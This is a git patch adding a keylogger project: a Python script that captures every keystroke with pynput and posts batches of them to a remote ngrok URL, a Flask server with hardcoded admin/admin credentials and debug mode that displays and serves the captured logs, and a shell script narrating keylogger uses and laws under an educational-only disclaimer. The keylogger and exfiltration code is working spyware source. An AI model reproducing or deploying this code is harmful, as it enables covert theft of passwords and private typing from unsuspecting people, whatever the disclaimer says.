From d3dac918f681c6db8131b4888715c51bd7b689f8 Mon Sep 17 00:00:00 2001 From: Stalin <161853795+Stalin-143@users.noreply.github.com> Date: Sat, 30 Nov 2024 00:06:54 +0530 Subject: [PATCH] Add files via upload --- key_logger.py | 103 +++++++++++++++++++++++++++++++++++++++ manual.sh | 112 ++++++++++++++++++++++++++++++++++++++++++ requirements.txt | 3 ++ web_server.py | 123 +++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 341 insertions(+) create mode 100644 key_logger.py create mode 100644 manual.sh create mode 100644 requirements.txt create mode 100644 web_server.py diff --git a/key_logger.py b/key_logger.py new file mode 100644 index 0000000..8513daa --- /dev/null +++ b/key_logger.py @@ -0,0 +1,103 @@ +import logging +from pynput.keyboard import Listener, Key +import os +import requests +import time + +print(r""" + _ __ _ + | |/ /___ _ _ | | ___ __ _ __ _ ___ _ __ + | ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__| + | . \ __/ |_| | | |__| (_) | (_| | (_| | __/ | + |_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_| + |___/ |___/ |___/ + 0.1 + + + + +GitHub:https://github.com/Stalin-143 +""") + + + +# Ask user for the desired log file location +log_location = input("Please enter the full path for the log file (e.g., /path/to/logfile.txt): ") + +# Ensure the log directory exists +log_dir = os.path.dirname(log_location) +if not os.path.exists(log_dir) and log_dir != "": + try: + os.makedirs(log_dir, exist_ok=True) # Allows creation if directory doesn't exist + except PermissionError as e: + print(f"PermissionError: {e}") + print("Please ensure you have permission to write to the specified path.") + exit() + +# Configure logging to write to the specified location +logging.basicConfig( + filename=log_location, + level=logging.DEBUG, + format="%(asctime)s: %(message)s" +) + +# Store the captured keys temporarily before sending them to the server +buffer = [] + +# Ask user for the ngrok server URL +url = input("Enter the ngrok server URL (e.g., https://xxxx-xxxx.ngrok-free.app): ") + +# Function to send log data to the web server +def send_log_to_server(): + global buffer + if buffer: + try: + log_data = ''.join(buffer) + response = requests.post(url, data={"log": log_data}) + + if response.status_code == 200: + print("Log sent successfully!") + else: + print(f"Failed to send log. Server responded with status: {response.status_code}") + + # Clear the buffer after sending + buffer = [] + + except Exception as e: + print(f"Error sending log: {e}") + +# Function to handle key press events +def on_press(key): + global buffer + + try: + # Capture the key press and format it + if hasattr(key, 'char') and key.char is not None: + key_str = f"Key pressed: {key.char}" + else: + # Handle special keys + key_str = f"Special key pressed: {key}" + + # Log the key + logging.info(key_str) + buffer.append(key_str + "\n") # Add to buffer + + # If buffer reaches a certain size, send the log + if len(buffer) >= 10: # Adjust batch size as needed + send_log_to_server() + + except Exception as e: + print(f"Error logging key: {e}") + +# Function to handle key release events (optional) +def on_release(key): + # Stop listener when 'esc' is pressed + if key == Key.esc: + return False + +# Start listening for keyboard events +with Listener(on_press=on_press, on_release=on_release) as listener: + listener.join() + + # Send logs when the listener stops (or periodically if needed) + send_log_to_server() diff --git a/manual.sh b/manual.sh new file mode 100644 index 0000000..bafa058 --- /dev/null +++ b/manual.sh @@ -0,0 +1,112 @@ +#!/bin/bash + +# Function to add some delay for animation effect +animate_echo() { + local text="$1" + local delay=0.05 + for (( i=0; i<${#text}; i++ )); do + echo -n "${text:$i:1}" + sleep $delay + done + echo +} + +# Introduction message +animate_echo "Welcome to the Keylogger Project Overview!" +animate_echo "----------------------------------------------" +animate_echo "This project demonstrates how a Keylogger operates." +animate_echo "Keyloggers are used for various purposes, both legal and illegal." +animate_echo "Let's dive deeper into understanding what Keyloggers are and how they work." +echo + +# What is a Keylogger? +animate_echo "What is a Keylogger?" +animate_echo "---------------------" +animate_echo "A Keylogger is a tool used to record keystrokes on a device." +animate_echo "It can capture everything a user types: passwords, personal information, and much more." +animate_echo "Keyloggers are often used by hackers, but they can also be used for ethical purposes." +animate_echo "There are two types of keyloggers: Software Keyloggers and Hardware Keyloggers." +echo + +# Why Hackers Use Keyloggers? +animate_echo "Why Hackers Use Keyloggers?" +animate_echo "----------------------------" +animate_echo "Keyloggers are commonly used for malicious purposes by hackers." +animate_echo "Here are some reasons why hackers use Keyloggers:" +echo +animate_echo "1. Stealing Personal Information: They capture sensitive data such as usernames, passwords, and bank details." +animate_echo "2. Credential Harvesting: Keyloggers help attackers gather login credentials for further unauthorized access." +animate_echo "3. Spyware & Surveillance: They monitor a person's online activities and communications without consent." +animate_echo "4. Social Engineering: Keyloggers assist hackers in gathering information to manipulate targets." +animate_echo "5. Advanced Persistent Threats (APTs): Keyloggers are used in ongoing, stealthy attacks to steal confidential information." +echo + +# Keylogger Functionality +animate_echo "Keylogger Functionality and Operation" +animate_echo "--------------------------------------" +animate_echo "Keyloggers work by continuously capturing keystrokes made on the device." +animate_echo "Captured data can be stored locally on the victim's machine or sent to an attacker’s remote server." +animate_echo "Keyloggers also maintain stealth by running in the background, often undetected by antivirus software." +animate_echo "They are equipped with advanced features such as encryption, persistence, and evasion techniques." +echo + +# Legal Implications of Keyloggers +animate_echo "Legal Implications of Keyloggers" +animate_echo "--------------------------------" +animate_echo "The use of keyloggers is regulated by strict laws. Unauthorized use of keyloggers is illegal." +animate_echo "Some of the legal frameworks include:" +echo +animate_echo "1. The Computer Fraud and Abuse Act (CFAA) in the U.S. criminalizes unauthorized access to computers." +animate_echo "2. The Wiretap Act makes it illegal to intercept communications without consent." +animate_echo "3. The General Data Protection Regulation (GDPR) mandates that personal data must be collected with consent." +animate_echo "4. The Privacy Act protects individuals from unauthorized surveillance and data theft." +animate_echo "5. Cybersecurity laws in various countries make hacking, data theft, and unauthorized surveillance punishable by law." +echo + +# Ethical Considerations +animate_echo "Ethical Considerations" +animate_echo "-----------------------" +animate_echo "Keyloggers can also have legitimate uses in certain contexts." +animate_echo "For instance:" +animate_echo "1. **Parental Control**: Parents can use keyloggers to monitor their children's online activities." +animate_echo "2. **Employee Monitoring**: Employers may monitor their employees' keystrokes to ensure compliance with company policies." +animate_echo "However, it's important that these activities are done with **explicit consent** and within **legal boundaries**." +echo + +# Keylogger in Cybersecurity +animate_echo "Keylogger in Cybersecurity" +animate_echo "--------------------------" +animate_echo "Ethical hackers and cybersecurity professionals may use keyloggers as part of security testing." +animate_echo "Keyloggers help in identifying system vulnerabilities and ensuring that sensitive data is protected." +animate_echo "However, ethical hacking must be done under strict guidelines and with the necessary permissions." +echo + +# Impact on Privacy and Security +animate_echo "Impact on Privacy and Security" +animate_echo "-----------------------------" +animate_echo "The widespread use of keyloggers can have serious consequences on privacy and security:" +animate_echo "1. **Privacy Violations**: Keyloggers record everything typed, potentially exposing sensitive personal information." +animate_echo "2. **Identity Theft**: If hackers obtain passwords and personal data, they can use it to steal identities or commit fraud." +animate_echo "3. **Cybersecurity Risks**: Keyloggers can be a part of larger attacks like malware and phishing, compromising systems." +echo + +# Conclusion +animate_echo "Conclusion" +animate_echo "-----------" +animate_echo "Keyloggers can be used ethically for monitoring and security testing, but they are often misused for malicious activities." +animate_echo "While keyloggers are effective for gathering data, using them without consent is illegal and can lead to severe legal consequences." +animate_echo "Always ensure that you have explicit permission before deploying such tools, and always operate within the **legal** and **ethical** boundaries." +animate_echo "Stay responsible and avoid using keyloggers for unauthorized surveillance or malicious purposes." +echo + +# Legal Disclaimer +animate_echo "Legal Disclaimer" +animate_echo "-----------------" +animate_echo "This project is meant for educational purposes only." +animate_echo "Unauthorized use of keyloggers for malicious activities such as spying, data theft, and hacking is illegal." +animate_echo "Make sure to obtain **written consent** before using any monitoring tool and ensure compliance with all applicable laws." +echo + +# End of the script +animate_echo "Thank you for exploring the Keylogger Project with us!" +animate_echo "Stay ethical, stay safe, and stay legal!" diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..03f033b --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +pynput==1.7.6 +Flask==2.0.1 +requests==2.26.0 diff --git a/web_server.py b/web_server.py new file mode 100644 index 0000000..3cc5a93 --- /dev/null +++ b/web_server.py @@ -0,0 +1,123 @@ +from flask import Flask, render_template_string, send_file, request, Response +import os +from functools import wraps + +print(r""" + __ __ _ ____ + \ \ / /__| |__ / ___| ___ _ ____ _____ _ __ + \ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__| + \ V V / __/ |_) | ___) | __/ | \ V / __/ | + \_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_| + + +Github:https://github.com/Stalin-143 +""") + + + + + +app = Flask(__name__) + + +# Specify the location of the log file (this should be provided by the user) +log_file_path = input("Enter the file path: ") + # Change this as needed + +# Basic Authentication +USERNAME = 'admin' +PASSWORD = 'admin' + +# Function to prompt for username and password if not authenticated +def check_auth(username, password): + return username == USERNAME and password == PASSWORD + +# Function to require authentication for routes +def authenticate(): + return Response( + 'Unauthorized Access. Please log in with correct credentials.', 401, + {'WWW-Authenticate': 'Basic realm="Login Required"'}) + +# Decorator to enforce authentication +def requires_auth(f): + @wraps(f) + def decorated(*args, **kwargs): + auth = request.authorization + if not auth or not check_auth(auth.username, auth.password): + return authenticate() + return f(*args, **kwargs) + return decorated + +# HTML template to display the log contents and provide a download link +HTML_TEMPLATE = ''' + + + + + + Keylogger Log Viewer + + + +

Log File: {{ log_file_path }}

+ +

Log File Contents:

+ 
{{ log_contents }}
+ + Download Log File + + +''' + +# Route to display the log file contents and provide a download link +@app.route('/') +@requires_auth +def home(): + if os.path.exists(log_file_path): + with open(log_file_path, 'r') as file: + log_contents = file.read() + else: + log_contents = "Log file not found." + + return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents) + +# Route to download the log file +@app.route('/download') +@requires_auth +def download_log(): + if os.path.exists(log_file_path): + return send_file(log_file_path, as_attachment=True) + return "Log file not found." + +if __name__ == '__main__': + app.run(debug=True)